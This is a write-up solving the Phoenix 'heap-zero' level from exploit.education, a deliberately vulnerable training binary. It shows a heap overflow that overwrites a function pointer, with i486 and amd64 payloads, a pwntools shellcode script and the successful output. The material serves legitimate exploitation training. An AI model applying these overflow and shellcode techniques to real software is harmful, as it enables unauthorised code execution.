16 April 2019

Heap 0

Write-up for: https://exploit.education/phoenix/heap-zero/.

Solution

The goal is to redirect execution to the winner() function. This could be achieved by overwriting the fp function pointer of f. f is located after d on the heap. d is filled using strcpy without bounds checking. This means we can overflow the name field of d in order to overwrite f->fp. Note that this will also overwrite control data of f which will probably make any call to free crash later on.

Since there is no memory protection (like ASLR), we can simply find out the address of the winner function using objdump:

user@phoenix-amd64:/opt/phoenix/i486$ objdump -d heap-zero | grep winner
08048835 <winner>:

Now we need the offset of f->fp from d->name which we can write arbitrary data to. Given the informative output of the program we can easily deduct the offset by probing the executable (e.g. using binary search or using a unique pattern). Alternatively, by looking at the source, we know that the data struct uses 64 bytes of memory, followed by 8 bytes of heap control structure for f (prev_size, size). This means the function pointer we want to overwrite is located 72 bytes after d->name. This results in the following exploit:

./heap-zero `python -c 'print "A"*72 + "\x08\x04\x88\x35"[::-1]' `
user@phoenix-amd64:/opt/phoenix/i486$ ./heap-zero `python -c 'print "A"*72 + "\x08\x04\x88\x35"[::-1]' `
Welcome to phoenix/heap-zero, brought to you by https://exploit.education
data is at 0xf7e69008, fp is at 0xf7e69050, will be calling 0x8048835
Congratulations, you have passed this level

Note that [::-1] reverses a string in Python.

64-bit version

The 64-bit version makes this challenge a bit trickier since the address of winner contains null bytes that will end the string when read with strcpy. Thus, to get to the winner function, we add a level of indirection. We put a short shellcode at the beginning of our buffer that jumps to the winner function (push ADDR; ret). Using the buffer overflow, we can overwrite the function pointer fp with the address of our buffer, which doesn’t contain any null bytes. This is the exploit:

# getting the required addresses
user@phoenix-amd64:~$ /opt/phoenix/amd64/heap-zero test
Welcome to phoenix/heap-zero, brought to you by https://exploit.education
data is at 0x7ffff7ef6010, fp is at 0x7ffff7ef6060, will be calling 0x400ace

user@phoenix-amd64:~$ objdump -d /opt/phoenix/amd64/heap-zero | grep winner
0000000000400abd <winner>:
import pwnlib
import struct

DATA_ADDR = 0x7ffff7ef6010
WINNER_ADDR = 0x400abd

pwnlib.context.arch = 'amd64'
shellcode = pwnlib.shellcraft.amd64.push(WINNER_ADDR)
shellcode += pwnlib.shellcraft.amd64.ret()

shellcode = pwnlib.asm.asm(shellcode, arch='amd64')

buf = shellcode + "A" * (80 - len(shellcode)) # offset between fp and buf is 80
buf += struct.pack("<Q", DATA_ADDR)

print buf

And running the exploit:

user@phoenix-amd64:~$ /opt/phoenix/amd64/heap-zero $(python heap0_64.py)
-bash: warning: command substitution: ignored null byte in input
Welcome to phoenix/heap-zero, brought to you by https://exploit.education
data is at 0x7ffff7ef6010, fp is at 0x7ffff7ef6060, will be calling 0x7ffff7ef6010
Congratulations, you have passed this level

Nice!